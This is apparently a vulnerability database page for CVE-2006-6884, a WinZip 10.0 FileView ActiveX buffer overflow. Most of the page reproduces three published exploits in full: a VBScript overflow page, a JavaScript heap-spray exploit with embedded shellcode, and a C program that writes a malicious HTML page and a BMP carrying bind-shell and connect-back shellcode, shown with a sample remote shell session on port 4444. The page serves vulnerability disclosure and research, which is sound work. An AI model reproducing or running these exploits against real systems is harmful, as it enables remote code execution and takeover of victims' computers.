CVE-2006-6884 : Detail

CVE-2006-6884

Overflow
21.25%V3
Network
2007-01-05
10h00 +00:00
2018-10-17
18h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Buffer overflow in the WZFILEVIEW.FileViewCtrl.61 ActiveX control (aka Sky Software "FileView" ActiveX control) for WinZip 10.0 Build 6667 allows remote attackers to execute arbitrary code via a long argument to the CreateNewFolderFromName method, a different vulnerability than CVE-2006-5198.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 2783

Publication date : 2006-11-13 23h00 +00:00
Author : prdelka
EDB Verified : Yes

<!-- WinZip FileView ActiveX Control Unsafe Method Exposure Vulnerability -- prdelka --> <HTML> <HEAD> <TITLE></TITLE> </HEAD> <BODY> <SCRIPT LANGUAGE="VBScript"> <!-- Sub WZFILEVIEW_OnAfterItemAdd(Item) WZFILEVIEW.FilePattern = "STACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBAS EDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLO WSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBAS EDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLO WSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBAS EDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLO WSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBAS EDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLO WSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBAS EDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLO WSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOW" end sub --> </SCRIPT> <OBJECT ID="WZFILEVIEW" WIDTH=200 HEIGHT=200 CLASSID="CLSID:A09AE68F-B14D-43ED-B713-BA413F034904"> </OBJECT> </BODY> </HTML> # milw0rm.com [2006-11-14]
Exploit Database EDB-ID : 3055

Publication date : 2006-12-30 23h00 +00:00
Author : XiaoHui
EDB Verified : Yes

<html> <head> <object classid="clsid:{A09AE68F-B14D-43ED-B713-BA413F034904}" id="winzip"> </object> </head> <body> <SCRIPT language="javascript"> /* ---===[ winzip-exploit.html XiaoHui : 76693223[at]163com HomePage: www.nipc.org.cn (c) 2006 All rights reserved. note:Because of the prior vuln in FileView ActiveX Control,Micorsoft has disabled this ActiveX Controls, To test this vuln,You can delete the key: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{A09AE68F-B14D-43ED-B713-BA413F034904}] "Compatibility Flags"=dword:00000400 I have test the exploit on Windows 2000+sp4(CN) and Windows xp+sp2(CN) and Winzip 10.0(6667),you can tryother version,goodluck~ ]===--- */ var heapSprayToAddress = 0x0d0d0d0d; var payLoadCode = unescape( "%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063"); var heapBlockSize = 0x400000; var payLoadSize = payLoadCode.length * 2; var spraySlideSize = heapBlockSize - (payLoadSize+0x38); var spraySlide = unescape("%u9090%u9090"); spraySlide = getSpraySlide(spraySlide,spraySlideSize); heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize; memory = new Array(); for (i=0;i<heapBlocks;i++) { memory[i] = spraySlide + payLoadCode; } var xh = 'A'; while (xh.length < 231) xh+='A'; xh+="\x0d\x0d\x0d\x0d"; winzip.CreateNewFolderFromName(xh); function getSpraySlide(spraySlide, spraySlideSize) { while (spraySlide.length*2<spraySlideSize) { spraySlide += spraySlide; } spraySlide = spraySlide.substring(0,spraySlideSize/2); return spraySlide; } </script> </body> </html> # milw0rm.com [2006-12-31]
Exploit Database EDB-ID : 2785

Publication date : 2006-11-14 23h00 +00:00
Author : prdelka
EDB Verified : Yes

/* WinZip <= 10.0.7245 FileView ActiveX buffer overflow exploit * ============================================================ * A vulnerability has been identified within Winzip that allows remote * attackers to execute arbitrary code. User interaction is required to * exploit this vulnerability in that the target must visit a malicious * web page. The flaw exists within "FileView" ActiveX control which * contains stack based overflow conditions. This exploit generates a * malicious html page and contains shellcode embedded within an image * file. Due to the random nature of the heap, this exploit uses hard * coded location of the image bytes within the heap and as such is * unreliable in exploitation of this bug, but has approximately 1 in * 6 hit ratio within the tested environment. * * Example. * $ ./prdelka-vs-MS-winzip -f index.html -i foo.bmp -s 0 -t 0 * [ WinZip <= 10.0.7245 FileView ActiveX overflow exploit * [ Using shellcode 'Win32 x86 bind() shellcode (4444/tcp default)' (400 bytes) * [ Using target 'WinXP SP2(en) WinZIP 10.0.6667' * [ Creating image containing shellcode 'foo.bmp' * [ Creating html exploit page 'index.html' * $ * ... clicky clicky MSIE ... * $ telnet 192.168.1.223 4444 * Connected to 192.168.1.223. * Escape character is '^]'. * * Microsoft Windows XP [Version 5.1.2600] * (C) Copyright 1985-2001 Microsoft Corp. * * C:\Documents and Settings\User\Desktop> * * - prdelka */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <getopt.h> #define NOPSIZE 999999 struct target { char* name; int retaddr; }; struct shellcode { char* name; short port; int host; char* shellcode; }; int targetno = 1; struct target targets[] = { {"WinXP SP2(en) WinZIP 10.0.6667",0x02DA3269} /* IE 6.0.2900.2180.xp_sp2_gdr.050301-1519 WZ 10.0(6667)" */ }; int shellno = 2; struct shellcode shellcodes[] = { {"Win32 x86 bind() shellcode (4444/tcp default)",162,-1, "\x48\x40\xf5\x49\xd6\x4a\xf9\x91\x47\x96\x2f\xf8\x9b\x37\x41\xf5" "\x99\x47\xf9\xf9\xfc\xf9\x48\x4e\x4b\x9b\x90\x9b\xf5\x97\x40\xf9" "\xd6\x41\xf9\x48\x9b\x92\xfd\x9b\x49\x42\x4f\x9f\x90\xd6\x27\x9b" "\x93\x46\x2f\x90\xfd\x4a\x6a\x51\x59\xd9\xee\xd9\x74\x24\xf4\x5b" "\x81\x73\x13\xbc\xe8\x2b\x27\x83\xeb\xfc\xe2\xf4\x3d\x2c\x7f\xd5" "\x43\x17\xd7\x4d\x57\xa5\xc3\xde\x43\x17\xd4\x47\x37\x84\x0f\x03" "\x37\xad\x17\xac\xc0\xed\x53\x26\x53\x63\x64\x3f\x37\xb7\x0b\x26" "\x57\xa1\xa0\x13\x37\xe9\xc5\x16\x7c\x71\x87\xa3\x7c\x9c\x2c\xe6" "\x76\xe5\x2a\xe5\x57\x1c\x10\x73\x98\xc0\x5e\xc2\x37\xb7\x0f\x26" "\x57\x8e\xa0\x2b\xf7\x63\x74\x3b\xbd\x03\x28\x0b\x37\x61\x47\x03" "\xa0\x89\xe8\x16\x67\x8c\xa0\x64\x8c\x63\x6b\x2b\x37\x98\x37\x8a" "\x37\xa8\x23\x79\xd4\x66\x65\x29\x50\xb8\xd4\xf1\xda\xbb\x4d\x4f" "\x8f\xda\x43\x50\xcf\xda\x74\x73\x43\x38\x43\xec\x51\x14\x10\x77" "\x43\x3e\x74\xae\x59\x8e\xaa\xca\xb4\xea\x7e\x4d\xbe\x17\xfb\x4f" "\x65\xe1\xde\x8a\xeb\x17\xfd\x74\xef\xbb\x78\x74\xff\xbb\x68\x74" "\x43\x38\x4d\x4f\xad\xb4\x4d\x74\x35\x09\xbe\x4f\x18\xf2\x5b\xe0" "\xeb\x17\xfd\x4d\xac\xb9\x7e\xd8\x6c\x80\x8f\x8a\x92\x01\x7c\xd8" "\x6a\xbb\x7e\xd8\x6c\x80\xce\x6e\x3a\xa1\x7c\xd8\x6a\xb8\x7f\x73" "\xe9\x17\xfb\xb4\xd4\x0f\x52\xe1\xc5\xbf\xd4\xf1\xe9\x17\xfb\x41" "\xd6\x8c\x4d\x4f\xdf\x85\xa2\xc2\xd6\xb8\x72\x0e\x70\x61\xcc\x4d" "\xf8\x61\xc9\x16\x7c\x1b\x81\xd9\xfe\xc5\xd5\x65\x90\x7b\xa6\x5d" "\x84\x43\x80\x8c\xd4\x9a\xd5\x94\xaa\x17\x5e\x63\x43\x3e\x70\x70" "\xee\xb9\x7a\x76\xd6\xe9\x7a\x76\xe9\xb9\xd4\xf7\xd4\x45\xf2\x22" "\x72\xbb\xd4\xf1\xd6\x17\xd4\x10\x43\x38\xa0\x70\x40\x6b\xef\x43" "\x43\x3e\x79\xd8\x6c\x80\x55\xff\x5e\x9b\x78\xd8\x6a\x17\xfb\x27"}, {"Win32 x86 connect() shellcode (4444/tcp default)",167,160, "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68" "\x01\x02\x03\x04\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xec\xf9" "\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68" "\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3" "\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51" "\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6" "\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6" "\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"} }; char html1[]="<HTML>\r\n<HEAD>\r\n<TITLE></TITLE>\r\n</HEAD>\r\n" "<BODY>\r\n<SCRIPT LANGUAGE=\"VBScript\">\r\nSub WZ" "FILEVIEW_OnAfterItemAdd(Item)\r\nWZFILEVIEW.FilePa" "ttern = \""; /* smash the stack here */ char html2[]="\"\r\nend sub\r\n</SCRIPT>\r\n<IMG SRC=\""; char html3[]="\">\r\n<OBJECT ID=\"WZFILEV" "IEW\" WIDTH=200 HEIGHT=200\r\nCLASSID=\"CLSID:A09A" "E68F-B14D-43ED-B713-BA413F034904\">\r\n</OBJECT>\r" "\n</BODY>\r\n</HTML>\r\n"; char bmphdr[]="\x42\x4d\x3e\xbb\x2d\x00\x00\x00\x00\x00\x36\x00\x00" "\x00\x28\x00\x00\x00\xe7\x03\x00\x00\xe7\x03\x00\x00" "\x01\x00\x18\x00\x00\x00\x00\x00\x08\xbb\x2d\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00"; int ret; void help(char* progname){ int count; printf("[ Usage instructions.\n[\n"); printf("[ %s <required> (optional)\n[\n[ --filename|-f <file.html>\n",progname); printf("[ --imgname|-i <image.bmp>\n[ --shellcode|-s <shell#>\n"); printf("[ --shellport|-p (port)\n"); printf("[ --shellhost|-i (ip)\n"); printf("[ --target|-t <target#/0xretaddr>\n[\n"); printf("[ Target#'s\n"); for(count = 0;count <= targetno - 1;count++){ printf("[ %d %s 0x%x\n",count,targets[count],targets[count]); } printf("[\n[ Shellcode#'s\n"); for(count = 0;count <= shellno - 1;count++){ printf("[ %d \"%s\" (length %d bytes)\n",count,shellcodes[count].name,strlen(shellcodes[count].shellcode)); } exit(0); } void setret(char* retarg){ int value = atoi(retarg); switch(value){ case 0: printf("[ Using target '%s'\n",targets[ret].name); ret = targets[ret].retaddr; break; default: ret = strtoul(retarg,NULL,16); printf("[ Using return address '0x%x'\n",ret); break; } } int main(int argc, char* argv[]){ unsigned long i, fd; int c, index, payg, paya, lhost; short shellport, shellport2; int ishell = 0, itarg = 0; char *buffer, *file, *img, *payload; static struct option options[] = { {"filename", 1, 0, 'f'}, {"imgname", 1, 0, 'i'}, {"target", 1, 0, 't'}, {"shellcode", 1, 0, 's'}, {"shellport", 1, 0, 'p'}, {"shellhost", 1, 0, 'd'}, {"help", 0, 0,'h'} }; printf("[ WinZip <= 10.0.7245 FileView ActiveX overflow exploit\n"); while(c != -1){ c = getopt_long(argc,argv,"f:i:t:s:p:d:h",options,&index); switch(c){ case 'f': file = optarg; break; case 'i': img = optarg; break; case 't': itarg = 1; setret(optarg); if(strlen((char*)&ret) < 4){ fprintf(stderr,"[ Selected target contains a null address!\n"); exit(-1); } break; case 's': if(ishell==0){ payg = atoi(optarg); switch(payg){ case 0: printf("[ Using shellcode '%s' (%d bytes)\n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode)); payload = malloc(strlen(shellcodes[payg].shellcode)+1); memset(payload,0,strlen(shellcodes[payg].shellcode)+1); memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode)); shellport2 = 4444; ishell = 1; break; case 1: printf("[ Using shellcode '%s' (%d bytes)\n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode)); payload = malloc(strlen(shellcodes[payg].shellcode)+1); memset(payload,0,strlen(shellcodes[payg].shellcode)+1); memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode)); shellport2 = 4444; ishell = 1; break; default: printf("[ Invalid shellcode selection %d\n",payg); exit(0); break; } } break; case 'p': if(ishell==1){ if(shellcodes[payg].port > -1){ paya = strlen(payload); shellport = atoi(optarg); shellport2 = shellport; shellport =(shellport&0xff)<<8 | shellport>>8; memcpy((void*)&payload[shellcodes[payg].port],&shellport,sizeof(shellport)); if(paya > strlen(payload)) { printf("[ Error shellcode port introduces null bytes\n"); exit(1); } printf("[ Shellcode port changed to '%u'\n",atoi(optarg)); } else{ printf("[ (%s) port selection is ignored for current shellcode\n",optarg); } } else{ printf("[ No shellcode selected yet, ignoring (%s) port selection\n",optarg); } break; case 'd': if(ishell==1){ if(shellcodes[payg].host > -1){ paya = strlen(payload); lhost = inet_addr(optarg); memcpy((void*)&payload[shellcodes[payg].host],&lhost,sizeof(lhost)); if(paya > strlen(payload)){ printf("[ Error shellhost introduces null bytes\n"); exit(1); } printf("[ Shellhost has been changed to '%s'\n",optarg); } else{ printf("[ (%s) shellhost selection is ignored for current shellcode\n",optarg); } } else { printf("[ No shellcode selected yet, ignoring (%s) shellhost selection\n",optarg); } break; case 'h': help(argv[0]); break; default: break; } } if(ishell==0||itarg==0||strlen(file)==0||strlen(img)==0){ printf("[ Error insufficient arguements, try running '%s --help'\n",argv[0]); exit(0); } // create image printf("[ Creating image containing shellcode '%s'\n",img); fd = open(img,O_RDWR|O_CREAT,S_IRWXU); if(fd == -1){ fprintf(stderr,"[ Error creating %s\n",file); exit(-1); } write(fd,bmphdr,sizeof(bmphdr)); for(i = 0;i < NOPSIZE;i++){ write(fd,"\x90",1); } write(fd,payload,strlen(payload)); close(fd); // create html printf("[ Creating html exploit page '%s'\n",file); fd = open(file,O_RDWR|O_CREAT,S_IRWXU); if(fd == -1){ fprintf(stderr,"[ Error creating %s\n",file); exit(-1); } write(fd,html1,strlen(html1)); for(i = 0;i < 265;i++){ write(fd,"A",1); } write(fd,&ret,4); for(i = 0;i < 1827;i++){ write(fd,"A",1); } write(fd,html2,strlen(html2)); write(fd,img,strlen(img)); write(fd,html3,strlen(html3)); close(fd); } // milw0rm.com [2006-11-15]

Products Mentioned

Configuraton 0

Winzip>>Winzip >> Version 10.0_build_6667

References